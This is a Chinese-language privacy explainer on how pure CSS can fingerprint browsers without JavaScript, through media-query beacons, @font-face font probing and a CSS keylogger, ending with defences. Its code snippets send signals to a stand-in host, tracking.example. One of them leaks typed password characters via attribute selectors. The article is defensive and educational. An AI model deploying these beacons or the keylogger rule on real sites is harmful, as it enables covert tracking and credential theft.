CSS 媒體查詢與 @font-face 規則能不寫一行 JavaScript,就洩漏深色模式、指標類型、螢幕解析度,甚至已安裝字型。
多數指紋防禦手段都假設威脅來自 JavaScript:擋掉指令碼,追蹤就會停止。CSS 打破了這個假設。單靠一份樣式表——頁面上完全沒有任何 <script> 標籤——就能偵測出你是否處於深色模式、使用的是觸控螢幕還是滑鼠、螢幕有多銳利,甚至某個特定字型是否已安裝,做法只是選擇瀏覽器會發出哪一個網路請求。由於這項技術完全不會碰觸 JavaScript 引擎,它能繞過 NoScript、封鎖指令碼的擴充功能,以及停用 JS 的瀏覽模式——而這些手段本可以擋下幾乎所有其他追蹤方式。
核心要點
- CSS 能在完全不使用 JavaScript 的情況下為瀏覽器建立指紋:透過
@media規則讓某個元素的background-image(或@font-face來源)有條件地載入——瀏覽器選擇請求哪一個網址,本身就把答案洩漏給追蹤者的伺服器。 prefers-color-scheme、prefers-reduced-motion、hover、pointer與resolution等媒體特徵,都能透過這個機制各自洩漏一個(或更多)位元的裝置/作業系統/無障礙狀態資訊。- 經典的無 JS 字型偵測手法,是把
@font-face的local()來源與網路後備來源搭配使用:如果指定的字型未安裝在本機,瀏覽器就會改為下載遠端檔案——不需要執行queryLocalFonts(),也不需要用 JavaScript 量測文字,就能揭露字型是否存在。 - 另一種相關但更具侵入性的純 CSS 技術,會使用屬性選擇器逐字元比對表單輸入欄位的即時內容,等於在完全沒有 JavaScript 的情況下打造出一個 CSS 鍵盤側錄器。
- 由於根本沒有指令碼可擋,停用 JavaScript、使用 NoScript,或仰賴專注於 JS 的隱私擴充功能,都無法阻止以 CSS 為基礎的指紋辨識或資料外洩——防禦必須改在 CSS/網路層面進行。
什麼是 CSS 指紋?
CSS 指紋是一種做法:從瀏覽器選擇套用哪些樣式規則——更關鍵的是,這些規則觸發了哪些網路請求——來推斷裝置、瀏覽器或無障礙狀態。瀏覽器只有在引用某個 background-image、@font-face 來源或類似外部資源的 CSS 規則,確實符合目前頁面與媒體條件時,才會去請求它。追蹤者把這一點當成一個一位元(甚至多位元)的側通道加以利用:為兩條不同的規則各指定一個不同的網址,各自用不同的 @media 條件把關,無論哪一個網址送達追蹤者的伺服器,都告訴他們哪個條件成立——而訪客的瀏覽器裡完全不需要執行任何一行 JavaScript。
這並非紙上談兵的好奇心。EFF 的 Cover Your Tracks 專案記錄了各種被動訊號——包括像這樣的算繪與偏好設定洩漏——如何組合成一份具區分度的畫像,其精神與字型指紋、Canvas 指紋如出一轍,只是透過完全不同的機制蒐集而來。
核心手法:條件式網路請求
幾乎每一種純 CSS 追蹤技術背後的機制,形狀都相同:
/* 只有在媒體條件成立時,瀏覽器才會發出這個請求 */
@media (prefers-color-scheme: dark) {
body {
background-image: url("https://tracking.example/beacon?signal=dark");
}
}
@media (prefers-color-scheme: light) {
body {
background-image: url("https://tracking.example/beacon?signal=light");
}
}
處於深色模式的瀏覽器會請求第一個網址;處於淺色模式的瀏覽器則會請求第二個。追蹤者的伺服器完全不需要用 JavaScript 讀取任何數值——只需要留意收到的是哪一個網址即可。根據 W3C Media Queries 規範,任何 @media 特徵都能以這種方式把關規則是否套用,這意味著理論上,瀏覽器所揭露的每一個媒體特徵都可能被轉化成一個洩漏管道。
透過媒體特徵探測偏好設定與硬體
有幾個標準媒體特徵,對響應式設計確實相當實用——但只要搭配上述技術,每一個也都能兼作指紋訊號:
| 媒體特徵 | 正當用途 | 洩漏的內容 |
|---|---|---|
prefers-color-scheme | 深色/淺色主題 | 作業系統或瀏覽器層級的主題偏好 |
prefers-reduced-motion | 為無障礙需求減少動畫 | 使用者是否啟用了某項無障礙設定——這本身就是能縮小母體範圍的訊號 |
pointer 與 hover | 依觸控或滑鼠調整可點擊區域大小 | 粗略的裝置類別:觸控螢幕、滑鼠,或兩者兼具的混合裝置 |
resolution | 為高 DPI 螢幕提供更銳利的圖片 | 螢幕像素密度,可縮小裝置/顯示器類型範圍 |
單獨來看,這些洩漏沒有一項是決定性的——很多人共用相同的色彩主題偏好或指標類型。重點和任何指紋訊號一樣:這些資訊蒐集成本低廉、可以大量取得,並能與頁面能觀察到的其他一切資訊組合起來,無論有沒有 JavaScript。瀏覽器對這些特徵的支援已相當廣泛,但在較舊的引擎上並非全面支援;關於互動類媒體特徵的目前涵蓋範圍,可參閱 caniuse。
無需 JavaScript 的字型探測
最引人注目的純 CSS 技術鎖定的是已安裝字型——這正是字型指紋透過 JavaScript 蒐集的同一種訊號,只不過這裡是透過 @font-face 的後備行為來取得。@font-face 讓 src 清單能把 local() 來源與遠端 url() 後備來源混用:
@font-face {
font-family: "probe-calibri";
/* 如果本機已安裝「Calibri」,瀏覽器會直接使用它,
永遠不會請求遠端網址。如果沒有安裝,就會載入遠端檔案。 */
src: local("Calibri"), url("https://tracking.example/beacon?font=calibri");
}
.probe { font-family: "probe-calibri", sans-serif; }
如果訪客安裝了 Calibri,瀏覽器會在本機解析出這個字型,遠端請求永遠不會發出。如果沒有安裝,瀏覽器就會悄悄改用網路來源——而這個請求正是破綻所在。把這個模式套用在一份常見字型名稱清單上,每個名稱各自指向不同的追蹤網址,頁面就能在完全不使用 JavaScript 的情況下,蒐集出一份字型存在/缺失的輪廓——用的正是讓我們字型指紋指南裡那個 JS 版技術得以運作的同一套後備邏輯,只不過這次是從伺服器端觀察,而不是在用戶端量測。
CSS 化身鍵盤側錄器
這項技術還有一個更具攻擊性的變種,使用屬性選擇器來比對表單欄位的即時內容:
input[type="password"][value^="a"] {
background-image: url("https://tracking.example/beacon?char=a");
}
由於 CSS 會隨著 DOM 變化重新求值選擇器,像這樣的規則會在符合的字元被輸入的當下就觸發——並發出請求——遠早於任何送出按鈕被按下之前。資安研究員 Max Chehab 發表了一個可實際運作的 CSS 鍵盤側錄器概念驗證,完全由這類屬性選擇器規則構成,證明了具有實質意義的資料外洩根本不需要 JavaScript。現今多數算繪密碼輸入欄位的框架,已不再以這種方式暴露原始的 value 屬性,但底層的 CSS 機制——選擇器比對觸發網路請求——與上述媒體查詢和字型手法完全相同。
為什麼它能躲過指令碼封鎖工具
純 CSS 指紋技術之所以值得重視,並非因為某個單一訊號特別強大,而是因為它精準命中了人們自我防禦方式中的一個盲點。停用 JavaScript、執行 NoScript,或使用封鎖指令碼的擴充功能,能擋下絕大多數的追蹤指令碼、Canvas 讀取與 API 呼叫。但這些都碰不到 CSS。瀏覽器要算繪頁面,本來就必須剖析並套用樣式表,而請求樣式表所引用的資源,正是這項工作的核心環節之一——並沒有什麼「安全模式」可以跳過它。這正是為什麼這項技術和 WebGL、音訊指紋屬於同一類:和它們一樣,這項技術在清除 Cookie 與使用隱私瀏覽模式後依然存活,因為它完全不仰賴任何儲存的資料——但和它們不同的是,它連停用整個指令碼引擎都能倖免,而這正是多數隱私建議聚焦的那一層防線。至於為什麼把好幾個這類弱訊號疊加起來,就能變成一個強力識別碼的組合數學原理,可參閱我們的瀏覽器指紋指南。
防護措施
- 封鎖你並未主動要求的第三方樣式表與字型,就像封鎖第三方指令碼一樣——多數內容封鎖擴充功能都能限制跨來源的 CSS 與字型載入,而不只是 JavaScript。
- 在瀏覽器允許的情況下停用遠端字型載入;這能直接堵住
local()後備字型探測這個管道,代價是某些網站的自訂字型將無法顯示。 - 使用能把偏好設定曝露程度標準化的瀏覽器或模式。 有助於對抗 Canvas 與字型指紋的那套「趨同」理念——Tor 瀏覽器的標準化環境、Firefox 的
privacy.resistFingerprinting——同樣也能減少prefers-color-scheme、pointer等特徵偏離常態的程度。 - 優先選用不會把即時輸入值以屬性形式洩漏進 DOM 的框架,藉此專門堵住 CSS 鍵盤側錄這個管道。
常見問題
CSS 指紋技術完全需要 JavaScript 嗎?
不需要。本文描述的每一項技術,都能單靠純 CSS 運作——透過 @media 規則與 @font-face 後備機制有條件地觸發網路請求。這正是它值得注意之處:聚焦於 JavaScript 的防禦手段完全碰不到它。
NoScript 或指令碼封鎖工具能擋下它嗎?
不能。封鎖 JavaScript 執行,對 CSS 剖析或樣式表觸發的資源請求毫無影響。要阻止以 CSS 為基礎的追蹤,必須封鎖特定的跨來源 CSS/字型/圖片請求,而不是封鎖指令碼引擎。
CSS 指紋技術和 Canvas 或 WebGL 指紋一樣強大嗎?
單獨來看並不會——每一個媒體特徵或字型探測,洩漏的都是一個小型、粗略的訊號,而非高熵值的雜湊值。它會像多數指紋訊號一樣,在與頁面所能觀察到的一切資訊組合之後才變得有意義,詳見我們的瀏覽器指紋指南。
我該如何檢查自己的瀏覽器暴露了什麼?
執行 BrowserInsight 的指紋檢測工具,查看你的瀏覽器透過 JavaScript 洩漏了哪些訊號,並搭配一個設定為限制第三方樣式表與字型的內容封鎖工具,因為單靠封鎖指令碼並無法涵蓋這個面向。
結論
CSS 指紋技術把一項日常的算繪功能——瀏覽器決定要請求哪個資源——轉化成一個完全不需要 JavaScript 的追蹤管道。由媒體查詢把關的背景圖片會洩漏色彩主題、指標類型等偏好設定;@font-face 的後備邏輯會洩漏已安裝的字型;屬性選擇器甚至能洩漏輸入表單時打出的字元。這一切都不會因為停用指令碼而停止——這正是為什麼即使你已經在其他地方加固了 JavaScript 曝露面,仍然值得認識這項技術。
推薦閱讀:


